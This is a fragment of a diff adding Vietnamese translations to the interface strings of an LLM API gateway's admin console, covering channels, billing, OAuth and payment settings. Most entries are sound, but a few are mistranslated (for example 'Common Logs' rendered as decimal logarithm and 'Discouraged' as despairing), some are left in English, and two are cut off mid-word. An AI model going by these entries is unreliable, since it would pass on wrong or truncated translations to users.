+    "Click to view full error message": "Nhấp để xem toàn bộ thông báo lỗi",
+    "Click to view full prompt": "Nhấp để xem toàn bộ lời nhắc",
+    "Client ID": "Mã khách hàng",
+    "Client Secret": "Bí mật máy khách",
+    "Close": "Đóng",
+    "Close dialog": "Đóng hộp thoại",
+    "Close menu": "Đóng menu",
+    "Close Today": "Đóng cửa hôm nay",
+    "Cloudflare": "Cloudflare",
+    "CNY": "CNY",
+    "CNY per USD": "CNY trên USD",
+    "Code": "Mã",
+    "Codes copied!": "Đã sao chép mã!",
+    "Codex": "Codex",
+    "Codex Account & Usage": "Tài khoản và sử dụng Codex",
+    "Codex Authorization": "Ủy quyền Codex",
+    "Codex channels use an OAuth JSON credential as the key.": "Kênh Codex dùng thông tin xác thực OAuth JSON làm khóa.",
+    "Cohere": "Cohere",
+    "Collapse": "Thu gọn",
+    "Color": "Màu",
+    "Color is required": "Màu sắc là bắt buộc",
+    "Color:": "Màu sắc:",
+    "Coming Soon!": "Sắp ra mắt!",
+    "Comma-separated list of allowed ports (empty = all ports)": "Danh sách các cổng được phép, phân cách bằng dấu phẩy (để trống = tất cả các cổng)",
+    "Comma-separated model names (leave empty to keep current)": "Tên mô hình phân tách bằng dấu phẩy (để trống để giữ nguyên hiện tại)",
+    "Comma-separated model names, e.g., gpt-4,gpt-3.5-turbo": "Tên mô hình được phân tách bằng dấu phẩy, ví dụ: gpt-4,gpt-3.5-turbo",
+    "Command": "Lệnh",
+    "Common": "Chung",
+    "Common Keys": "Khóa thường dùng",
+    "Common Logs": "Logarit thập phân",
+    "Common ports include 25, 465, and 587": "Các cổng phổ biến bao gồm 25, 465 và 587",
+    "Common User": "Người dùng thông thường",
+    "Complete API documentation with multi-language SDK support": "Tài liệu API đầy đủ với hỗ trợ SDK đa ngôn ngữ",
+    "Complete Order": "Hoàn thành đơn hàng",
+    "Complete these steps to finish the initial installation.": "Hoàn thành các bước này để hoàn tất quá trình cài đặt ban đầu.",
+    "Completed": "Hoàn thành",
+    "Completion": "Hoàn thành",
+    "Completion price ($/1M tokens)": "Giá hoàn thành ($/1M tokens)",
+    "Completion ratio": "Tỷ lệ hoàn thành",
+    "Concatenate channel system prompt with user&apos;s prompt": "Nối lời nhắc hệ thống kênh với lời nhắc của người dùng",
+    "Conditional multipliers": "Hệ số nhân có điều kiện",
+    "Conditions (AND)": "Điều kiện (AND)",
+    "Confidence": "Tự tin",
+    "Configuration": "Cấu hình",
+    "Configuration File": "Tệp Cấu hình",
+    "Configuration for Creem payment integration": "Cấu hình tích hợp thanh toán Creem",
+    "Configuration for Epay payment integration": "Cấu hình cho tích hợp thanh toán Epay",
+    "Configuration for Stripe payment integration": "Cấu hình cho tích hợp thanh toán Stripe",
+    "Configuration required": "Cần cấu hình",
+    "Configure": "Cấu hình",
+    "Configure a Creem product for user recharge options.": "Cấu hình một sản phẩm Creem cho các tùy chọn nạp tiền người dùng.",
+    "Configure a custom ratio for when users use a specific token group.": "Cấu hình tỷ lệ tùy chỉnh khi người dùng sử dụng nhóm token cụ thể.",
+    "Configure a group that users can select when creating API keys.": "Cấu hình một nhóm mà người dùng có thể chọn khi tạo khóa API.",
+    "Configure a new custom OAuth provider for user authentication.": "Cấu hình nhà cung cấp OAuth tùy chỉnh mới để xác thực người dùng.",
+    "Configure a payment method for user recharge options.": "Cấu hình phương thức thanh toán cho các tùy chọn nạp tiền của người dùng.",
+    "Configure a predefined chat link for end users.": "Cấu hình một liên kết trò chuyện được xác định trước cho người dùng cuối.",
+    "Configure and deploy a new container instance.": "Cấu hình và triển khai một phiên bản container mới.",
+    "Configure API documentation links for the dashboard": "Cấu hình các liên kết tài liệu API cho bảng điều khiển",
+    "Configure at:": "Cấu hình tại:",
+    "Configure available payment methods. Provide a JSON array.": "Cấu hình các phương thức thanh toán khả dụng. Cung cấp một mảng JSON.",
+    "Configure basic system information and branding": "Cấu hình thông tin hệ thống cơ bản và nhận diện thương hiệu",
+    "Configure channel affinity (sticky routing) rules": "Cấu hình quy tắc ưu tiên kênh (định tuyến dính)",
+    "Configure Creem products. Provide a JSON array.": "Cấu hình sản phẩm Creem. Cung cấp một mảng JSON.",
+    "Configure custom OAuth providers for user authentication": "Cấu hình nhà cung cấp OAuth tùy chỉnh cho xác thực người dùng",
+    "Configure daily check-in rewards for users": "Cấu hình phần thưởng điểm danh hàng ngày cho người dùng",
+    "Configure discount rates based on recharge amounts": "Cấu hình tỷ lệ chiết khấu dựa trên số tiền nạp",
+    "Configure experimental data export for the dashboard": "Cấu hình xuất dữ liệu thử nghiệm cho bảng điều khiển",
+    "Configure Gemini safety behavior, version overrides, and thinking adapter": "Cấu hình hành vi an toàn Gemini, ghi đè phiên bản và bộ điều hợp tư duy",
+    "Configure in your Creem dashboard": "Cấu hình trong bảng điều khiển Creem của bạn",
+    "Configure io.net API key for model deployments": "Cấu hình khóa API io.net cho triển khai mô hình",
+    "Configure keyword filtering for prompts and responses.": "Định cấu hình lọc từ khóa để xem lời nhắc và câu trả lời.",
+    "Configure model, caching, and group ratios used for billing": "Cấu hình mô hình, bộ nhớ đệm và tỷ lệ nhóm được sử dụng để tính phí.",
+    "Configure monitoring status page groups for the dashboard": "Cấu hình các nhóm trang trạng thái giám sát cho bảng điều khiển",
+    "Configure outgoing email server for notifications": "Cấu hình máy chủ email gửi đi cho thông báo",
+    "Configure Passkey (WebAuthn) login settings": "Cấu hình cài đặt đăng nhập Passkey (WebAuthn)",
+    "Configure password-based login and registration": "Cấu hình đăng nhập và đăng ký dựa trên mật khẩu",
+    "Configure per-model ratio for image inputs or outputs.": "Cấu hình tỷ lệ theo mô hình cho đầu vào hoặc đầu ra hình ảnh.",
+    "Configure per-tool unit prices ($/1K calls). Per-request models do not incur additional tool fees.": "Cấu hình giá theo từng công cụ ($/1K lần gọi). Mô hình tính phí theo request không phát sinh thêm phí công cụ.",
+    "Configure predefined chat links surfaced to end users.": "Cấu hình các liên kết trò chuyện được xác định trước hiển thị cho người dùng cuối.",
+    "Configure pricing model and display options": "Cấu hình mô hình giá và tùy chọn hiển thị",
+    "Configure pricing ratios for a specific model.": "Cấu hình tỷ lệ định giá cho một mô hình cụ thể.",
+    "Configure rate limiting rules for a specific user group.": "Cấu hình quy tắc giới hạn tốc độ cho một nhóm người dùng cụ thể.",
+    "Configure recharge pricing and payment gateway integrations": "Cấu hình giá nạp tiền và tích hợp cổng thanh toán",
+    "Configure system-wide behavior and defaults": "Cấu hình hành vi và mặc định toàn hệ thống",
+    "Configure the ratio for this group.": "Cấu hình tỷ lệ cho nhóm này.",
+    "Configure third-party authentication providers": "Cấu hình nhà cung cấp xác thực bên thứ ba",
+    "Configure upstream providers and routing.": "Cấu hình nhà cung cấp upstream và định tuyến.",
+    "Configure upstream worker or proxy service for outbound requests": "Cấu hình worker thượng nguồn hoặc dịch vụ proxy cho các yêu cầu đi",
+    "Configure user quota allocation and rewards": "Cấu hình phân bổ hạn ngạch người dùng và phần thưởng",
+    "Configure Waffo Pancake hosted checkout integration for USD-priced top-ups": "Cấu hình tích hợp thanh toán Waffo Pancake (hosted checkout) cho nạp tiền theo USD",
+    "Configure Waffo payment aggregation platform integration": "Cấu hình tích hợp nền tảng tổng hợp thanh toán Waffo",
+    "Configure xAI Grok model settings": "Cấu hình mô hình xAI Grok",
+    "Configure xAI Grok model specific settings": "Cấu hình cài đặt riêng cho mô hình xAI Grok",
+    "Configure your account behavior preferences": "Cấu hình tùy chọn hành vi tài khoản của bạn",
+    "Configure your account preferences and integrations": "Cấu hình các tùy chọn và tích hợp tài khoản của bạn",
+    "Confirm": "Xác nhận",
+    "Confirm Action": "Xác nhận hành động",
+    "Confirm Batch Update": "Xác nhận Cập nhật Hàng loạt",
+    "Confirm Billing Conflicts": "Xác nhận xung đột thanh toán",
+    "Confirm Changes": "Xác nhận thay đổi",
+    "Confirm Cleanup": "Xác nhận dọn dẹp",
+    "Confirm cleanup of inactive disk cache?": "Xác nhận dọn dẹp bộ nhớ đệm đĩa không hoạt động?",
+    "Confirm clearing all channel affinity cache": "Xác nhận xóa toàn bộ bộ nhớ đệm ưu tiên kênh",
+    "Confirm clearing cache for this rule": "Xác nhận xóa bộ nhớ đệm của quy tắc này",
+    "Confirm Creem Purchase": "Xác nhận mua Creem",
+    "Confirm delete": "Xác nhận xóa",
+    "Confirm disable": "Xác nhận vô hiệu hóa",
+    "Confirm enable": "Xác nhận kích hoạt",
+    "Confirm invalidate": "Xác nhận vô hiệu hóa",
+    "Confirm log cleanup": "Xác nhận dọn dẹp nhật ký",
+    "Confirm log file cleanup?": "Xác nhận dọn dẹp tệp nhật ký?",
+    "Confirm New Password": "Xác nhận mật khẩu mới",
+    "Confirm password": "Xác nhận mật khẩu",
+    "Confirm Payment": "Xác nhận Thanh toán",
+    "Confirm Selection": "Xác nhận lựa chọn",
+    "Confirm settings and finish setup": "Xác nhận cài đặt và hoàn tất thiết lập",
+    "Confirm Unbind": "Xác nhận hủy liên kết",
+    "Confirm your identity before removing this Passkey from your account.": "Hãy xác minh danh tính trước khi gỡ Passkey khỏi tài khoản.",
+    "Confirm your identity with Two-factor Authentication before registering a Passkey.": "Hãy xác minh danh tính bằng Xác thực hai yếu tố trước khi đăng ký Passkey.",
+    "Conflict": "Xung đột",
+    "Connect": "Kết nối",
+    "Connected to io.net service normally.": "Đã kết nối bình thường tới dịch vụ io.net.",
+    "Connection error": "Lỗi kết nối",
+    "Connection failed": "Kết nối thất bại",
+    "Connection successful": "Kết nối thành công",
+    "Console": "Bảng điều khiển",
+    "Console area": "Khu vực bảng điều khiển",
+    "Console Area": "Khu vực bảng điều khiển",
+    "Consume": "Tiêu thụ",
+    "Container": "Thùng chứa",
+    "Container name": "Tên container",
+    "Containers": "Các thùng chứa",
+    "Contains": "Chứa",
+    "Contains Match": "Khớp Chứa",
+    "Content": "Nội dung",
+    "Content displayed on the home page (supports Markdown)": "Nội dung hiển thị trên trang chủ (hỗ trợ Markdown)",
+    "Content not found.": "Không tìm thấy nội dung.",
+    "Content not modified!": "Nội dung không được thay đổi!",
+    "Continue": "Tiếp tục",
+    "Continue with {{name}}": "Tiếp tục với {{name}}",
+    "Continue with Discord": "Tiếp tục với Discord",
+    "Continue with GitHub": "Tiếp tục với GitHub",
+    "Continue with LinuxDO": "Tiếp tục với LinuxDO",
+    "Continue with OIDC": "Tiếp tục với OIDC",
+    "Continue with Telegram": "Tiếp tục với Telegram",
+    "Continue with WeChat": "Tiếp tục với WeChat",
+    "Control log retention and clean historical data.": "Kiểm soát việc lưu giữ nhật ký và làm sạch dữ liệu lịch sử.",
+    "Control passthrough behavior and connection keep-alive settings": "Kiểm soát hành vi truyền qua và cài đặt duy trì kết nối",
+    "Control request frequency to prevent abuse and manage system load.": "Kiểm soát tần suất yêu cầu để ngăn chặn lạm dụng và quản lý tải hệ thống.",
+    "Control which sidebar areas and modules are available to all users.": "Kiểm soát những khu vực thanh bên và mô-đun nào khả dụng cho tất cả người dùng.",
+    "Controls whether user verification (biometrics/PIN) is required during Passkey flows.": "Kiểm soát xem liệu có yêu cầu xác minh người dùng (sinh trắc học/mã PIN) trong các luồng Passkey hay không.",
+    "Conversion rate from USD to your custom currency": "Tỷ giá chuyển đổi từ USD sang đơn vị tiền tệ tùy chỉnh của bạn",
+    "Convert reasoning_content to <think> tag in content": "Chuyển đổi reasoning_content thành thẻ <think> trong nội dung",
+    "Copied": "Đã sao chép",
+    "Copied {{count}} key(s)": "Đã sao chép {{count}} khóa",
+    "Copied to clipboard": "Đã sao chép vào bộ nhớ tạm",
+    "Copied: {{model}}": "Đã sao chép: {{model}}",
+    "Copied!": "Đã sao chép!",
+    "Copy": "Sao chép",
+    "Copy All": "Sao chép tất cả",
+    "Copy all backup codes": "Sao chép tất cả mã dự phòng",
+    "Copy All Codes": "Sao chép Tất cả Mã",
+    "Copy API key": "Sao chép khóa API",
+    "Copy authorization link": "Sao chép liên kết ủy quyền",
+    "Copy Channel": "Sao chép kênh",
+    "Copy code": "Sao chép mã",
+    "Copy Connection Info": "Sao chép thông tin kết nối",
+    "Copy failed": "Sao chép thất bại",
+    "Copy Header": "Sao chép tiêu đề",
+    "Copy Key": "Sao chép khóa",
+    "Copy Link": "Sao chép liên kết",
+    "Copy model name": "Sao chép tên mô hình",
+    "Copy model names": "Sao chép tên mô hình",
+    "Copy prompt": "Sao chép prompt",
+    "Copy redemption code": "Sao chép mã đổi thưởng",
+    "Copy referral link": "Sao chép liên kết giới thiệu",
+    "Copy secret key": "Sao chép khóa bí mật",
+    "Copy selected codes": "Sao chép các mã đã chọn",
+    "Copy selected keys": "Sao chép các khóa đã chọn",
+    "Copy the key and paste it here": "Sao chép khóa và dán vào đây",
+    "Copy this prompt and send it to an LLM (e.g. ChatGPT / Claude) to help design your billing expression.": "Sao chép prompt này và gửi cho LLM (ví dụ: ChatGPT / Claude) để được hỗ trợ thiết kế biểu thức tính phí.",
+    "Copy to clipboard": "Sao chép vào bảng tạm",
+    "Copy token": "Sao chép mã thông báo",
+    "Copy URL": "Sao chép URL",
+    "Core Features": "Tính năng cốt lõi",
+    "Cost": "Chi phí",
+    "Cost in USD per request, regardless of tokens used.": "Chi phí bằng USD cho mỗi yêu cầu, bất kể số lượng token được sử dụng.",
+    "Cost Tracking": "Theo dõi chi phí",
+    "Count must be between {{min}} and {{max}}": "Số lượng phải nằm trong khoảng từ {{min}} đến {{max}}.",
+    "Coze": "Coze",
+    "CPU Threshold (%)": "Ngưỡng CPU (%)",
+    "Create": "Tạo",
+    "Create a copy of:": "Tạo bản sao của:",
+    "Create a new user group to configure ratio overrides for.": "Tạo một nhóm người dùng mới để cấu hình ghi đè tỷ lệ.",
+    "Create account": "Tạo tài khoản",
+    "Create an account": "Tạo tài khoản",
+    "Create and review invite or credit codes.": "Tạo và xem xét mã mời hoặc mã tín dụng.",
+    "Create API Key": "Tạo Khóa API",
+    "Create cache": "Tạo bộ nhớ đệm",
+    "Create cache ratio": "Tạo tỷ lệ bộ nhớ đệm",
+    "Create Channel": "Tạo Kênh",
+    "Create Code": "Tạo Mã",
+    "Create credentials for the root user": "Tạo thông tin đăng nhập cho tài khoản quản trị",
+    "Create deployment": "Tạo triển khai",
+    "Create Model": "Tạo Mô hình",
+    "Create multiple API keys at once (random suffix will be added to names)": "Tạo nhiều khóa API cùng lúc (hậu tố ngẫu nhiên sẽ được thêm vào tên)",
+    "Create multiple channels from multiple keys": "Tạo nhiều kênh từ nhiều khóa",
+    "Create multiple redemption codes at once (1-100)": "Tạo nhiều mã đổi thưởng cùng lúc (1-100)",
+    "Create new subscription plan": "Tạo gói đăng ký mới",
+    "Create or update frequently asked questions for users": "Tạo hoặc cập nhật các câu hỏi thường gặp cho người dùng",
+    "Create or update system announcements for the dashboard": "Tạo hoặc cập nhật thông báo hệ thống cho bảng điều khiển",
+    "Create Plan": "Tạo gói",
+    "Create Prefill Group": "Tạo Nhóm Điền Sẵn",
+    "Create Provider": "Tạo nhà cung cấp",
+    "Create Redemption Code": "Tạo mã đổi thưởng",
+    "Create reusable bundles of models, tags, endpoints, and user groups to speed up configuration elsewhere in the console.": "Tạo các gói có thể tái sử dụng gồm các mô hình, thẻ, điểm cuối và nhóm người dùng để tăng tốc cấu hình ở những nơi khác trong bảng điều khiển.",
+    "Create succeeded": "Tạo thành công",
+    "Create Vendor": "Tạo Nhà cung cấp",
+    "Create your first group to reuse model, tag, or endpoint selections anywhere in the dashboard.": "Tạo nhóm đầu tiên của bạn để dùng lại các lựa chọn mô hình, thẻ hoặc điểm cuối ở bất cứ đâu trên bảng điều khiển.",
+    "Create, revoke, and audit API tokens.": "Tạo, thu hồi và kiểm toán token API.",
+    "Created": "Đã tạo",
+    "Created At": "Ngày tạo",
+    "Credential generated": "Đã tạo thông tin xác thực",
+    "Credential refreshed": "Đã làm mới thông tin xác thực",
+    "Credentials": "Thông tin xác thực",
+    "Creem API key (leave blank unless updating)": "Khóa API Creem (để trống trừ khi cập nhật)",
+    "Creem Gateway": "Cổng Creem",
+    "Creem Payment": "Thanh toán Creem",
+    "Creem product ID from your Creem dashboard.": "ID sản phẩm Creem từ bảng điều khiển Creem của bạn.",
+    "Creem products must be a JSON array": "Sản phẩm Creem phải là mảng JSON",
+    "Cross-group": "Liên nhóm",
+    "Cross-group retry": "Thử lại liên nhóm",
+    "Curate quick links to your different Domains": "Sắp xếp các liên kết nhanh đến các Miền khác nhau của bạn",
+    "Currency": "Tiền tệ",
+    "Current Balance": "Số Dư Hiện Tại",
+    "Current Billing": "Thanh toán hiện tại",
+    "Current Cache Size": "Kích thước bộ nhớ đệm hiện tại",
+    "Current email: {{email}}. Enter a new email to change.": "Email hiện tại: {{email}}. Nhập email mới để thay đổi.",
+    "Current key": "Khóa hiện tại",
+    "Current models for the longest channel in this tag. May not include all models from all channels.": "Các mô hình hiện tại cho kênh dài nhất trong thẻ này. Có thể không bao gồm tất cả các mô hình từ tất cả các kênh.",
+    "Current Password": "Mật khẩu hiện tại",
+    "Current Price": "Giá hiện tại",
+    "Current quota": "Hạn mức hiện tại",
+    "Current Value": "Present value",
+    "Current version": "Phiên bản hiện tại",
+    "Current:": "Hiện tại:",
+    "Custom": "Tùy chỉnh",
+    "Custom (seconds)": "Tùy chỉnh (giây)",
+    "Custom Amount": "Số tiền tùy chỉnh",
+    "Custom API base URL. For official channels, New API has built-in addresses. Only fill this for third-party proxy sites or special endpoints. Do not add /v1 or trailing slash.": "URL cơ sở API tùy chỉnh. Đối với các kênh chính thức, New API có địa chỉ tích hợp sẵn. Chỉ điền thông tin này cho các trang proxy của bên thứ ba hoặc các điểm cuối đặc biệt. Không thêm /v1 hoặc dấu gạch chéo cuối cùng.",
+    "Custom API base URL. Leave empty to use provider default.": "URL cơ sở API tùy chỉnh. Để trống để sử dụng mặc định của nhà cung cấp.",
+    "Custom Currency": "Tiền tệ tùy chỉnh",
+    "Custom Currency Symbol": "Ký hiệu tiền tệ tùy chỉnh",
+    "Custom currency symbol is required": "Ký hiệu tiền tệ tùy chỉnh là bắt buộc",
+    "Custom database driver detected.": "Đã phát hiện trình điều khiển cơ sở dữ liệu tùy chỉnh.",
+    "Custom Home Page": "Trang chủ tùy chỉnh",
+    "Custom message shown when access is denied": "Thông báo tùy chỉnh hiển thị khi truy cập bị từ chối",
+    "Custom model (comma-separated)": "Mô hình tùy chỉnh (phân tách bằng dấu phẩy)",
+    "Custom module": "Module tùy chỉnh",
+    "Custom multipliers when specific user groups use specific token groups. Example: VIP users get 0.9x rate when using \"edit_this\" group tokens.": "Các hệ số nhân tùy chỉnh khi các nhóm người dùng cụ thể sử dụng các nhóm token cụ thể. Ví dụ: Người dùng VIP được hưởng tỷ lệ 0.9x khi sử dụng các token thuộc nhóm \"edit_this\".",
+    "Custom OAuth": "OAuth tùy chỉnh",
+    "Custom OAuth Providers": "Nhà cung cấp OAuth tùy chỉnh",
+    "Custom Seconds": "Giây tùy chỉnh",
+    "Custom sidebar section": "Phần thanh bên tùy chỉnh",
+    "Custom Time Range": "Khoảng thời gian tùy chỉnh",
+    "Custom Zoom": "Thu phóng tùy chỉnh",
+    "Customize sidebar display content": "Tùy chỉnh nội dung hiển thị thanh bên",
+    "Daily": "Hàng ngày",
+    "Daily Check-in": "Điểm danh hàng ngày",
+    "Dark": "Tối",
+    "Dashboard": "Bảng điều khiển",
+    "Dashboards, tokens, and usage analytics.": "Bảng điều khiển, token và phân tích sử dụng.",
+    "Data Dashboard": "Bảng dữ liệu",
+    "Data directory:": "Thư mục dữ liệu:",
+    "Data is stored locally on this device. Use system backups to keep a safe copy.": "Dữ liệu được lưu trữ cục bộ trên thiết bị này. Sử dụng tính năng sao lưu hệ thống để giữ một bản",
+    "Data management and log viewing": "Quản lý dữ liệu và xem nhật ký",
+    "Database": "Cơ sở dữ liệu",
+    "Database check": "Kiểm tra cơ sở dữ liệu",
+    "Date and time when this announcement should be displayed": "The date and time this notification should be displayed",
+    "Date Range": "Khoảng thời gian",
+    "Day": "Ngày",
+    "days": "ngày",
+    "Days to Retain": "Số ngày giữ lại",
+    "Deducted by subscription": "Khấu trừ bởi gói đăng ký",
+    "DeepSeek": "DeepSeek",
+    "default": "mặc định",
+    "Default": "Mặc định",
+    "Default (New Frontend)": "Mặc định (Frontend mới)",
+    "Default API Version *": "Phiên bản API mặc định *",
+    "Default API version for this channel": "Phiên bản API mặc định cho kênh này",
+    "Default Collapse Sidebar": "Mặc định Thu gọn Thanh bên",
+    "Default Max Tokens": "Tokens Tối đa Mặc định",
+    "Default Responses API version, if empty, will use the API version above": "Phiên bản API phản hồi mặc định, nếu để trống, sẽ sử dụng phiên bản API ở trên",
+    "Default system prompt for this channel": "Lời nhắc hệ thống mặc định cho kênh này",
+    "Default time granularity": "Độ chi tiết thời gian mặc định",
+    "Default to auto groups": "Mặc định là nhóm tự động",
+    "Default TTL (seconds)": "TTL mặc định (giây)",
+    "Defaults to the wallet page when empty": "Để trống sẽ dùng trang ví mặc định",
+    "Define API endpoints for this model (JSON format)": "Định nghĩa các điểm cuối API cho mô hình này (định dạng JSON)",
+    "Define endpoint mappings for each provider.": "Định nghĩa ánh xạ điểm cuối cho mỗi nhà cung cấp.",
+    "Define per-group rules to add, remove, or append selectable groups for specific user groups.": "Định nghĩa quy tắc theo nhóm để thêm, xóa hoặc nối các nhóm có thể chọn cho các nhóm người dùng cụ thể.",
+    "Delete": "Xóa",
+    "Delete (": "Xóa (",
+    "Delete {{count}} API key(s)?": "Xóa {{count}} khóa API?",
+    "Delete Account": "Xóa tài khoản",
+    "Delete All Disabled": "Xóa Tất Cả Đã Tắt",
+    "Delete All Disabled Channels?": "Xóa tất cả kênh đã vô hiệu hóa?",
+    "Delete Auto-Disabled": "Xóa Tự động vô hiệu hóa",
+    "Delete Channel": "Xóa Kênh",
+    "Delete Channels?": "Xóa các kênh?",
+    "Delete failed": "Xóa thất bại",
+    "Delete group": "Xóa nhóm",
+    "Delete Header": "Xóa tiêu đề",
+    "Delete Invalid": "Xóa không hợp lệ",
+    "Delete invalid codes": "Xóa mã không hợp lệ",
+    "Delete invalid codes (used/disabled/expired)": "Xóa mã không hợp lệ (đã sử dụng/đã vô hiệu hóa/đ",
+    "Delete invalid redemption codes": "Xóa mã đổi thưởng không hợp lệ",
+    "Delete Invalid Redemption Codes?": "Xóa Mã đổi thưởng không hợp lệ?",
+    "Delete logs": "Xóa nhật ký",
+    "Delete Model": "Xóa Mô hình",
+    "Delete Models?": "Xóa mô hình?",
+    "Delete Provider": "Xóa nhà cung cấp",
+    "Delete selected API keys": "Xóa các khóa API đã chọn",
+    "Delete selected channels": "Xóa các kênh đã chọn",
+    "Delete selected models": "Xóa các mô hình đã chọn",
+    "Deleted": "Đã xóa",
+    "Deleted successfully": "Xóa thành công",
+    "Deleting will permanently remove this subscription record (including benefit details). Continue?": "Xóa sẽ xóa vĩnh viễn bản ghi đăng ký này (bao gồm chi tiết quyền lợi). Tiếp tục?",
+    "Deleting...": "Đang xóa...",
+    "Demo site": "Trang demo",
+    "Demo site mode": "Chế độ trang demo",
+    "Demo Site Mode": "Chế độ trang Demo",
+    "Demote": "Giáng chức",
+    "Deployment created successfully": "Tạo triển khai thành công",
+    "Deployment details": "Chi tiết triển khai",
+    "Deployment ID": "ID triển khai",
+    "Deployment location": "Vị trí triển khai",
+    "Deployment logs": "Nhật ký triển khai",
+    "Deployment Region *": "Khu vực triển khai *",
+    "Deployment requested": "Yêu cầu triển khai",
+    "Deployments": "Triển khai",
+    "Desc": "Mô tả",
+    "Describe": "Mô tả",
+    "Describe this model...": "Mô tả mô hình này...",
+    "Describe this vendor...": "Mô tả nhà cung cấp này...",
+    "Description": "Mô tả",
+    "Description is required": "Mô tả là bắt buộc",
+    "Designed and Developed by": "Thiết kế và Phát triển bởi",
+    "designed for scale": "thiết kế cho quy mô lớn",
+    "Destroyed": "Đã hủy",
+    "Detailed request logs for investigations.": "Nhật ký yêu cầu chi tiết cho các cuộc điều tra.",
+    "Details": "Chi tiết",
+    "Detect All Upstream Updates": "Phát hiện Tất cả Cập nhật Upstream",
+    "Detected database": "Đã phát hiện cơ sở dữ liệu",
+    "Detected high-risk status code redirect rules": "Phát hiện các quy tắc chuyển hướng mã trạng thái rủi ro cao sau:",
+    "Detection complete: {{add}} to add, {{remove}} to remove": "Phát hiện hoàn tất: {{add}} để thêm, {{remove}} để xóa",
+    "Detection failed": "Phát hiện thất bại",
+    "Determines how this group is applied elsewhere.": "Xác định cách nhóm này được áp dụng ở nơi khác.",
+    "Developer Friendly": "Thân thiện với nhà phát triển",
+    "Device Type Preference": "Ưu tiên loại thiết bị",
+    "Dify": "Dify",
+    "Dify channels only support chatflow and agent, and agent does not support images": "Kênh Dify chỉ hỗ trợ chatflow và agent, và agent không hỗ trợ hình ảnh",
+    "Digest:": "Tóm tắt:",
+    "Direction": "Hướng",
+    "Directory File Count": "Số tệp trong thư mục",
+    "Directory Total Size": "Tổng dung lượng thư mục",
+    "Disable": "Vô hiệu hóa",
+    "Disable 2FA": "Tắt 2FA",
+    "Disable All": "Vô hiệu hóa tất cả",
+    "Disable on failure": "Vô hiệu hóa khi lỗi",
+    "Disable selected channels": "Vô hiệu hóa các kênh đã chọn",
+    "Disable selected models": "Vô hiệu hóa các mô hình đã chọn",
+    "Disable store passthrough": "Vô hiệu hóa chuyển tiếp store",
+    "Disable thinking processing models": "Tắt mô hình xử lý suy nghĩ",
+    "Disable this key?": "Vô hiệu hóa khóa này?",
+    "Disable threshold (seconds)": "Vô hiệu hóa ngưỡng (giây)",
+    "Disable Two-Factor Authentication": "Vô hiệu hóa Xác thực hai yếu tố",
+    "disabled": "vô hiệu hóa",
+    "Disabled": "Đã tắt",
+    "Disabled all channels with tag: {{tag}}": "Đã tắt tất cả kênh với nhãn: {{tag}}",
+    "Disabled Reason": "Lý do vô hiệu hóa",
+    "Disabled Time": "Thời gian vô hiệu hóa",
+    "Disabling...": "Đang vô hiệu hóa...",
+    "Discord": "Discord",
+    "Discount": "Giảm giá",
+    "Discount map by recharge amount (JSON object)": "Ánh xạ giảm giá theo số tiền nạp (đối tượng JSON)",
+    "Discount Rate": "Tỷ lệ chiết khấu",
+    "Discount rate must be ≤ 1": "Tỷ lệ giảm giá phải ≤ 1",
+    "Discount rate must be greater than 0": "Tỷ lệ giảm giá phải lớn hơn 0",
+    "Discount Rate:": "Tỷ lệ chiết khấu:",
+    "Discount ratio for cache hits.": "Tỷ lệ chiết khấu cho lượt truy cập bộ nhớ đệm thành công.",
+    "Discouraged": "Tuyệt vọng",
+    "Discovering...": "Đang khám phá...",
+    "Disk cache cleared": "Đã xóa bộ nhớ đệm đĩa",
+    "Disk Cache Settings": "Cài đặt bộ nhớ đệm đĩa",
+    "Disk Cache Threshold (MB)": "Ngưỡng bộ nhớ đệm đĩa (MB)",
+    "Disk cache, system performance monitoring, and operation statistics": "Bộ nhớ đệm đĩa, giám sát hiệu suất hệ thống và thống kê vận hành",
+    "Disk Hits": "Lượt truy cập đĩa",
+    "Disk Threshold (%)": "Ngưỡng đĩa (%)",
+    "Display in Currency": "Hiển thị tiền tệ",
+    "Display Mode": "Chế độ hiển thị",
+    "Display name": "Tên hiển thị",
+    "Display Name": "Tên hiển thị",
+    "Display name and email used in outgoing messages": "Tên hiển thị và email được sử dụng trong tin nhắn gửi đi",
+    "Display Name Field": "Trường Tên Hiển Thị",
+    "Display name for this chat client.": "Tên hiển thị cho ứng dụng chat này.",
+    "Display name for this monitoring group (max 50 characters)": "Tên hiển thị cho nhóm giám sát này (tối đa 50 ký tự)",
+    "Display name for this payment method.": "Tên hiển thị cho phương thức thanh toán này.",
+    "Display name shown to users.": "Tên hiển thị cho người dùng.",
+    "Display Options": "Tùy chọn hiển thị",
+    "Display Token Statistics": "Hiển thị Thống kê Token",
+    "Displays the mobile sidebar.": "Hiển thị thanh bên di động.",
+    "Do not over-trust this feature. IP may be spoofed. Please use with nginx, CDN and other gateways.": "Đừng tin tưởng quá mức vào tính năng này. IP có thể bị giả mạo. Hãy sử dụng cùng với nginx, CDN và các gateway khác.",
+    "Do not repeat check-in; only once per day": "Không lặp lại check-in; chỉ một lần mỗi ngày",
+    "Docs": "Tài liệu",
+    "Documentation Link": "Liên kết tài liệu",
+    "Documentation or external knowledge base.": "Tài liệu hoặc cơ sở kiến thức bên ngoài.",
+    "does not exist or might have been removed.": "không tồn tại hoặc có thể đã bị xóa.",
+    "Domain": "Miền",
+    "Domain Filter Mode": "Chế độ lọc miền",
+    "Don't have an account?": "Chưa có tài khoản?",
+    "Done": "Xong",
+    "Doubao Coding Plan": "Kế hoạch lập trình Doubao",
+    "Doubao custom API address editing unlocked": "Đã mở khóa chỉnh sửa địa chỉ API tùy chỉnh Doubao",
+    "DoubaoVideo": "DoubaoVideo",
+    "Double check the configuration below. Your system will be locked until initialization is complete.": "Kiểm tra kỹ lại cấu hình bên dưới. Hệ thống của bạn sẽ bị khóa cho đến khi quá trình khởi tạo hoàn tất.",
+    "Download": "Tải xuống",
+    "Draw": "Vẽ",
+    "Drawing": "Vẽ",
+    "Drawing logs": "Nhật ký vẽ",
+    "Drawing Logs": "Nhật ký bản vẽ",
+    "Drawing task records": "Lịch sử tác vụ vẽ",
+    "Duplicate": "Nhân bản",
+    "Duration": "Thời lượng",
+    "Duration (hours)": "Thời lượng (giờ)",
+    "Duration Settings": "Cài đặt thời lượng",
+    "Duration Unit": "Đơn vị thời lượng",
+    "Duration Value": "Giá trị thời lượng",
+    "Dynamic Pricing": "Giá linh hoạt",
+    "e.g. ¥ or HK$": "ví dụ ¥ hoặc HK$",
+    "e.g. 401, 403, 429, 500-599": "vd. 401, 403, 429, 500-599",
